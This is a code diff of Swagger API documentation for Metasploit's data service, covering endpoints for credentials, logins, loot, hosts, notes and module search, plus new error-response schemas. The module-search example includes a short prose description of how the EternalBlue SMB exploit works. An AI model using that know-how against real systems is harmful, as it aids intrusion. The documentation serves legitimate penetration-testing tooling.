parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the credential.'
key :required, true
schema do
key :'$ref', :Credential
end
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Credential
property :data do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# This endpoint is NYI.
#
# # Swagger documentation for /api/v1/credentials/ DELETE
# operation :delete do
# key :description, 'Delete the specified credentials.'
# key :tags, [ 'credential' ]
#
# parameter :delete_opts
#
# response 200 do
# key :description, 'Successful operation'
# schema do
# key :type, :array
# items do
# key :'$ref', :Credential
# end
# end
# end
# end
end
# This endpoint is NYI.
#
# swagger_path '/api/v1/credentials/:id' do
# # Swagger documentation for api/v1/credentials/:id GET
# operation :get do
# key :description, 'Return credentials that are stored in the database.'
# key :tags, [ 'credential' ]
#
# parameter :workspace
# parameter :non_dead
# parameter :address
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of credential to retrieve'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns credential data'
# schema do
# key :type, :array
# items do
# key :'$ref', :Credential
# end
# end
# end
# end
# This endpoint is NYI.
#
# Swagger documentation for /api/v1/credentials/:id PUT
# operation :put do
# key :description, 'Update the attributes an existing credential.'
# key :tags, [ 'credential' ]
#
# parameter :update_id
#
# parameter do
# key :in, :body
# key :name, :body
# key :description, 'The updated attributes to overwrite to the credential'
# key :required, true
# schema do
# key :'$ref', :Credential
# end
# end
#
# response 200 do
# key :description, 'Successful operation'
# schema do
# key :type, :object
# key :'$ref', :Credential
# end
# end
# end
#end
end
end

View File

@ -28,11 +28,27 @@ module DbExportApiDoc
response 200 do
key :description, 'A JSON object containing the Base64 encoded backup file.'
schema do
property :db_export_file do
key :type, :string
property :data do
property :db_export_file do
key :type, :string
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -48,12 +48,27 @@ module EventApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Event
property :data do
key :'$ref', :Event
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
end

View File

@ -56,10 +56,25 @@ module ExploitApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Exploit
property :data do
key :'$ref', :Exploit
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end

View File

@ -104,12 +104,28 @@ module HostApiDoc
response 200 do
key :description, 'Returns host data.'
schema do
key :type, :array
items do
key :'$ref', :Host
property :data do
key :type, :array
items do
key :'$ref', :Host
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/hosts POST
@ -151,10 +167,25 @@ module HostApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Host
property :data do
key :'$ref', :Host
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
@ -167,14 +198,30 @@ module HostApiDoc
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns an array containing the successfully deleted hosts.'
schema do
key :type, :array
items do
key :'$ref', :Host
property :data do
key :type, :array
items do
key :'$ref', :Host
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
@ -184,10 +231,6 @@ module HostApiDoc
key :description, 'Return specific host that is stored in the database.'
key :tags, [ 'host' ]
parameter :workspace
parameter :non_dead
parameter :address
parameter do
key :name, :id
key :in, :path
@ -200,12 +243,25 @@ module HostApiDoc
response 200 do
key :description, 'Returns host data.'
schema do
key :type, :array
items do
property :data do
key :'$ref', :Host
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/hosts/:id PUT
@ -226,12 +282,27 @@ module HostApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns host data.'
schema do
key :type, :object
key :'$ref', :Host
property :data do
key :'$ref', :Host
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
end

View File

@ -0,0 +1,235 @@
require 'swagger/blocks'
module LoginApiDoc
include Swagger::Blocks
CORE_ID_DESC = 'The ID of the Metasploit::Credential::Core object this login is associated with.'
CORE_DESC = 'The Metasploit::Credential::Core object that corresponds to the credential pair this login attempt used.'
SERVICE_ID_DESC = 'The ID of the service object that this login was attempted against.'
ACCESS_LEVEL_DESC = 'A free-form text field that can be used to annotate the access level of this login.'
ACCESS_LEVEL_EXAMPLE = "'admin', 'sudoer', or 'user'"
STATUS_DESC = 'The result of the login attempt.'
LAST_ATTEMPTED_AT_DESC = 'The date and time the login attempt occurred.'
SERVICE_NAME_DESC = 'The name of the service that the login was attempted against.'
SERVICE_NAME_EXAMPLE = 'ssh'
ADDRESS_DESC = 'The IP address of the host/service this login was attempted against.'
ADDRESS_EXAMPLE = '127.0.0.1'
PORT_DESC = 'The port the service was listening on.'
PORT_EXAMPLE = '22'
PROTOCOL_DESC = 'The protocol the service was using.'
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
# Values from lib/metasploit/model/login/status.rb in the metasploit-model repo
STATUS_ENUM = [
'Denied Access',
'Disabled',
'Incorrect',
'Locked Out',
'No Auth Required',
'Successful',
'Unable to Connect',
'Untried'
]
# Swagger documentation for Login model
swagger_schema :Login do
key :required, [:address, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :core_id, type: :integer, format: :int32, required: true, description: CORE_ID_DESC
property :service_id, type: :integer, format: :int32, required: true, description: SERVICE_ID_DESC
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
property :status, type: :string, description: STATUS_DESC, required: true, enum: STATUS_ENUM
property :last_attempted_at, type: :string, format: :date_time, description: LAST_ATTEMPTED_AT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/logins' do
# Swagger documentation for /api/v1/logins GET
operation :get do
key :description, 'Return logins that are stored in the database.'
key :tags, [ 'login' ]
response 200 do
key :description, 'Returns login data.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :Login
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/logins POST
operation :post do
key :description, 'Create a login.'
key :tags, [ 'login' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the login.'
key :required, true
schema do
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :core, '$ref' => :Credential, required: true, description: CORE_DESC
property :last_attempted_at, type: :string, format: :date_time, required: true, description: LAST_ATTEMPTED_AT_DESC
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
property :status, type: :string, required: true, description: STATUS_DESC, enum: STATUS_ENUM
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Login
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/logins/ DELETE
operation :delete do
key :description, 'Delete the specified logins.'
key :tags, [ 'login' ]
parameter :delete_opts
response 200 do
key :description, 'Returns an array containing the successfully deleted logins.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :Login
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
end
end
swagger_path '/api/v1/logins/{id}' do
# Swagger documentation for api/v1/logins/:id GET
operation :get do
key :description, 'Return specific login that is stored in the database.'
key :tags, [ 'login' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of login to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns login data.'
schema do
property :data do
key :'$ref', :Login
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/logins/:id PUT
operation :put do
key :description, 'Update the attributes an existing login.'
key :tags, [ 'login' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the login.'
key :required, true
schema do
key :'$ref', :Login
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Login
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -48,12 +48,28 @@ module LootApiDoc
response 200 do
key :description, 'Returns loot data.'
schema do
key :type, :array
items do
key :'$ref', :Loot
property :data do
key :type, :array
items do
key :'$ref', :Loot
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/loots POST
@ -80,10 +96,25 @@ module LootApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Loot
property :data do
key :'$ref', :Loot
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
@ -96,49 +127,73 @@ module LootApiDoc
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns an array containing the successfully deleted loot.'
schema do
key :type, :array
items do
key :'$ref', :Loot
property :data do
key :type, :array
items do
key :'$ref', :Loot
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
swagger_path '/api/v1/loot/{id}' do
# Swagger documentation for api/v1/loot/:id GET
swagger_path '/api/v1/loots/{id}' do
# Swagger documentation for api/v1/loots/:id GET
operation :get do
key :description, 'Return specific loot entry that is stored in the database.'
key :tags, [ 'loot' ]
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
#
# operation :get do
# key :description, 'Return specific loot entry that is stored in the database.'
# key :tags, [ 'loot' ]
#
# parameter :workspace
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of loot to retrieve.'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns loot data.'
# schema do
# key :type, :array
# items do
# key :'$ref', :Loot
# end
# end
# end
# end
parameter do
key :name, :id
key :in, :path
key :description, 'ID of loot to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
# Swagger documentation for /api/v1/loot/{id} PUT
response 200 do
key :description, 'Returns loot data.'
schema do
property :data do
key :'$ref', :Loot
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/loots/{id} PUT
operation :put do
key :description, 'Update the attributes an existing loot.'
key :tags, [ 'loot' ]
@ -156,12 +211,27 @@ module LootApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Loot
property :data do
key :'$ref', :Loot
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
end

View File

@ -0,0 +1,195 @@
require 'swagger/blocks'
module ModuleSearchApiDoc
include Swagger::Blocks
AKA_DESC = 'Filter modules with a matching AKA name.'
APP_DESC = 'Filter modules that are client or server attacks. (Accepts strings \'client\' or \'server\').'
ARCH_DESC = 'Filter modules with a matching architecture.'
AUTHOR_DESC = 'Filter modules written by a matching author.'
AUTHORS_DESC = 'Alias for \'author\'.'
BID_DESC = 'Filter modules with a matching Bugtraq ID.'
CVE_DESC = 'Filter modules with a matching CVE ID.'
EDB_DESC = 'Filter modules with a matching Exploit-DB ID.'
DESCRIPTION_DESC = 'Filter modules with a matching description.'
DISCLOSURE_DATE_DESC = 'Filter modules with a matching disclosure date.'
DATE_DESC = 'Alias for \'disclosure_date\'.'
FULL_NAME_DESC = 'Filter modules with a matching full name.'
IS_CLIENT_DESC = 'Filter modules that are client attacks. (Accepts strings \'true\' or \'false\').'
IS_SERVER_DESC = 'Filter modules that are server attacks. (Accepts strings \'true\' or \'false\').'
IS_INSTALL_PATH_DESC = 'Filter modules that by value of \'is_install_path\'. (Accepts strings \'true\' or \'false\').'
MOD_TIME_DESC = 'Filter modules with a matching modification time.'
NAME_DESC = 'Filter modules with a matching descriptive name.'
PATH_DESC = 'Filter modules with a matching path name.'
PLATFORM_DESC = 'Filter modules affecting a matching platform, arch, or target.'
OS_DESC = 'Alias for \'platform\'.'
PORT_DESC = 'Filter modules with a matching port.'
RPORT_DESC = 'Alias for \'port\'.'
RANK_DESC = 'Filter modules with a matching rank. Accepts numeric values with optional comparison operators (ex: 200, gt500, lte300).'
REFERENCE_DESC = 'Filter modules with a matching reference (CVE, BID, EDB, etc.).'
REFERENCES_DESC = 'Alias for \'reference\'.'
REF_NAME_DESC = 'Filter modules with a matching ref_name.'
REF_DESC = 'Alias for \'ref_name\'.'
TARGET_DESC = 'Filter modules with a matching target.'
TARGETS_DESC = 'Alias for \'target\'.'
TEXT_DESC = 'Filter modules matching any one of name, full name, description, reference, author, or targets.'
TYPE_DESC = 'Filter modules with a matching type (exploit, auxiliary, payload, etc.).'
FIELDS_DESC = 'Provide a comma-delimited list of metadata fields you would like to return. If left blank, all fields will be returned. Valid field names are: \'name\', \'full_name\', \'fullname\', \'aka\', \'arch\', \'author\', \'author\', \'description\', \'disclosure_date\', \'cve\', \'edb\', \'bid\', \'mod_time\', \'is_client\', \'is_server\', \'is_install_path\', \'os\', \'platform\', \'reference\', \'references\', \'ref_name\', \'ref\', \'path\', \'port\', \'rport\', \'rank\', \'type\', \'target\', \'targets\''
NOTES_DESC = 'Extra info for a module, such as AKA names or NOCVE explanations.'
TYPE_ENUM = [
'auxiliary',
'encoder',
'exploit',
'nop',
'payload',
'post',
''
]
NAME_EXAMPLE = 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption'
FULL_NAME_EXAMPLE = 'exploit/windows/smb/ms17_010_eternalblue'
DISCLOSURE_DATE_EXAMPLE = '2017-03-14T00:00:00.000-05:00'
RANK_EXAMPLE = '200'
TYPE_EXAMPLE = 'exploit'
DESCRIPTION_EXAMPLE = 'This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.'
AUTHOR_EXAMPLE = [
'Sean Dillon <sean.dillon@risksense.com>',
'Dylan Davis <dylan.davis@risksense.com>',
'Equation Group',
'Shadow Brokers',
'thelightcosine'
]
REFERENCES_EXAMPLE = [
'MSB-MS17-010',
'CVE-2017-0143',
'CVE-2017-0144',
'CVE-2017-0145',
'CVE-2017-0146',
'CVE-2017-0147',
'CVE-2017-0148',
'URL-https://github.com/RiskSense-Ops/MS17-010'
]
IS_SERVER_EXAMPLE = true
IS_CLIENT_EXAMPLE = false
PLATFORM_EXAMPLE = 'Windows'
ARCH_EXAMPLE = ''
RPORT_EXAMPLE = '445'
MOD_TIME_EXAMPLE = '2018-07-10T17:39:42.000-05:00'
REF_NAME_EXAMPLE = 'windows/smb/ms17_010_eternalblue'
PATH_EXAMPLE = '/modules/exploits/windows/smb/ms17_010_eternalblue.rb'
IS_INSTALL_PATH_EXAMPLE = true
TARGETS_EXAMPLE = [
'Windows 7 and Server 2008 R2 (x64) All Service Packs'
]
NOTES_EXAMPLE = {
'AKA' => [ 'ETERNALBLUE' ]
}
# Swagger documentation for Module Search model
swagger_schema :Module do
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :full_name, type: :string, description: FULL_NAME_DESC, example: FULL_NAME_EXAMPLE
property :disclosure_date, type: :string, description: DISCLOSURE_DATE_EXAMPLE, example: DISCLOSURE_DATE_EXAMPLE
property :rank, type: :integer, description: RANK_DESC, example: RANK_EXAMPLE
property :type, type: :string, description: TYPE_DESC, example: TYPE_EXAMPLE, enum: TYPE_ENUM
property :description, type: :string, description: DESCRIPTION_DESC, example: DESCRIPTION_EXAMPLE
property :author, description: AUTHOR_DESC, example: AUTHOR_EXAMPLE, type: :array do items type: :string end
property :references, description: REFERENCE_DESC, example: REFERENCES_EXAMPLE, type: :array do items type: :string end
property :is_client, type: :boolean, description: IS_CLIENT_DESC, example: IS_CLIENT_EXAMPLE
property :is_server, type: :boolean, description: IS_SERVER_DESC, example: IS_SERVER_EXAMPLE
property :platform, type: :string, description: PLATFORM_DESC, example: PLATFORM_EXAMPLE
property :arch, type: :string, description: ARCH_DESC, example: ARCH_EXAMPLE
property :rport, type: :string, description: PORT_DESC, example: RPORT_EXAMPLE
property :mod_time, type: :string, description: MOD_TIME_DESC, example: MOD_TIME_EXAMPLE
property :ref_name, type: :string, description: REF_NAME_DESC, example: REF_NAME_EXAMPLE
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE
property :is_install_path, type: :boolean, description: IS_INSTALL_PATH_DESC, example: IS_INSTALL_PATH_EXAMPLE
property :targets, description: TARGET_DESC, example: TARGETS_EXAMPLE, type: :array do items type: :string end
property :notes, description: NOTES_DESC, example: NOTES_EXAMPLE, type: :hash do items type: :hash end
end
swagger_path '/api/v1/modules' do
# Swagger documentation for /api/v1/modules GET
operation :get do
key :description, 'Search Metasploit modules using keyword filters.'
key :tags, [ 'module' ]
parameters = {
:aka => AKA_DESC,
:app => APP_DESC,
:arch => ARCH_DESC,
:author => AUTHOR_DESC,
:bid => BID_DESC,
:cve => CVE_DESC,
:edb => EDB_DESC,
:description => DESCRIPTION_DESC,
:disclosure_date => DISCLOSURE_DATE_DESC,
:date => DATE_DESC,
:full_name => FULL_NAME_DESC,
:is_client => IS_CLIENT_DESC,
:is_server => IS_SERVER_DESC,
:is_install_path => IS_INSTALL_PATH_DESC,
:mod_time => MOD_TIME_DESC,
:name => NAME_DESC,
:path => PATH_DESC,
:platform => PLATFORM_DESC,
:os => OS_DESC,
:port => PORT_DESC,
:rport => RPORT_DESC,
:rank => RANK_DESC,
:reference => REFERENCE_DESC,
:references => REFERENCES_DESC,
:ref_name => REF_NAME_DESC,
:ref => REF_DESC,
:text => TEXT_DESC,
:target => TARGET_DESC,
:targets => TARGETS_DESC,
:type => TYPE_DESC,
:fields => FIELDS_DESC
}
parameters.each do | param_key, param_desc |
parameter do
key :in, :query
key :name, param_key
key :required, false
key :description, param_desc
end
end
response 200 do
key :description, 'Returns modules matching keywords with appropriate metadata.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :Module
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -12,7 +12,23 @@ module MsfApiDoc
response 200 do
key :description, 'Returns the Metasploit Framework version.'
schema do
property :metasploit_version, type: :string
property :data do
property :metasploit_version, type: :string
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end

View File

@ -28,6 +28,20 @@ module NmapApiDoc
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -40,12 +40,28 @@ module NoteApiDoc
response 200 do
key :description, 'Returns note data.'
schema do
key :type, :array
items do
key :'$ref', :Note
property :data do
key :type, :array
items do
key :'$ref', :Note
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/notes POST
@ -69,10 +85,25 @@ module NoteApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Note
property :data do
key :'$ref', :Note
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
@ -85,14 +116,30 @@ module NoteApiDoc
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns an array containing the successfully deleted notes.'
schema do
key :type, :array
items do
key :'$ref', :Note
property :data do
key :type, :array
items do
key :'$ref', :Note
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
@ -102,8 +149,6 @@ module NoteApiDoc
key :description, 'Return specific note that is stored in the database.'
key :tags, [ 'note' ]
parameter :workspace
parameter do
key :name, :id
key :in, :path
@ -114,14 +159,27 @@ module NoteApiDoc
end
response 200 do
key :description, 'Returns notes data.'
key :description, 'Returns note data.'
schema do
key :type, :array
items do
property :data do
key :'$ref', :Note
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/notes/:id PUT
@ -142,12 +200,27 @@ module NoteApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Note
property :data do
key :'$ref', :Note
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
end

View File

@ -10,6 +10,17 @@ module RootApiDoc
WORKSPACE_POST_DESC = 'The name of the workspace where this record should be created.'
WORKSPACE_POST_EXAMPLE = 'default'
HOST_EXAMPLE = '127.0.0.1'
CODE_DESC = 'The error code that was generated.'
CODE_EXAMPLE = 500
MESSAGE_DESC = 'A message describing the error that occurred.'
MESSAGE_EXAMPLE = 'Undefined method \'empty?\' for nil:NilClass'
AUTH_CODE_DESC = 'The authentication error code that was generated.'
AUTH_CODE_EXAMPLE = 401
AUTH_MESSAGE_DESC = 'A message describing the authentication error that occurred.'
DEFAULT_RESPONSE_200 = 'Successful operation.'
DEFAULT_RESPONSE_401 = 'Authenticate to access this resource.'
DEFAULT_RESPONSE_500 = 'An error occurred during the operation. See the message for more details.'
swagger_root do
key :swagger, '2.0'
@ -25,23 +36,37 @@ module RootApiDoc
key :consumes, ['application/json']
key :produces, ['application/json']
security_definition :api_key do
key :type, :apiKey
key :name, :Authorization
key :in, :header
end
security do
key :api_key, []
end
#################################
#
# Documentation Tags
#
#################################
tag name: 'auth', description: 'Authorization operations.'
tag name: 'credential', description: 'Credential operations.'
tag name: 'db_export', description: 'Endpoint for generating and retrieving a database backup.'
tag name: 'event', description: 'Event operations.'
tag name: 'exploit', description: 'Exploit operations.'
tag name: 'host', description: 'Host operations.'
tag name: 'login', description: 'Login operations.'
tag name: 'loot', description: 'Loot operations.'
tag name: 'module', description: 'Module search operations.'
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
tag name: 'nmap', description: 'Nmap operations.'
tag name: 'note', description: 'Note operations.'
tag name: 'service', description: 'Service operations.'
tag name: 'session', description: 'Session operations.'
tag name: 'session_event', description: 'Session Event operations.'
tag name: 'user', description: 'User operations.'
tag name: 'vuln', description: 'Vuln operations.'
tag name: 'vuln_attempt', description: 'Vuln Attempt operations.'
tag name: 'workspace', description: 'Workspace operations.'
@ -105,4 +130,37 @@ module RootApiDoc
key :type, :string
end
end
end
swagger_schema :ErrorModel do
key :required, [:message]
property :error do
property :code do
key :type, :int32
key :description, CODE_DESC
key :example, CODE_EXAMPLE
end
property :message do
key :type, :string
key :description, MESSAGE_DESC
key :example, MESSAGE_EXAMPLE
end
end
end
swagger_schema :AuthErrorModel do
key :required, [:message]
property :error do
property :code do
key :type, :int32
key :description, AUTH_CODE_DESC
key :example, AUTH_CODE_EXAMPLE
end
property :message do
key :type, :string
key :description, AUTH_MESSAGE_DESC
key :example, DEFAULT_RESPONSE_401
end
end
end
end

View File

@ -41,12 +41,28 @@ module ServiceApiDoc
response 200 do
key :description, 'Returns service data.'
schema do
key :type, :array
items do
key :'$ref', :Service
property :data do
key :type, :array
items do
key :'$ref', :Service
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/services POST
@ -71,10 +87,25 @@ module ServiceApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Service
property :data do
key :'$ref', :Service
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
@ -87,47 +118,72 @@ module ServiceApiDoc
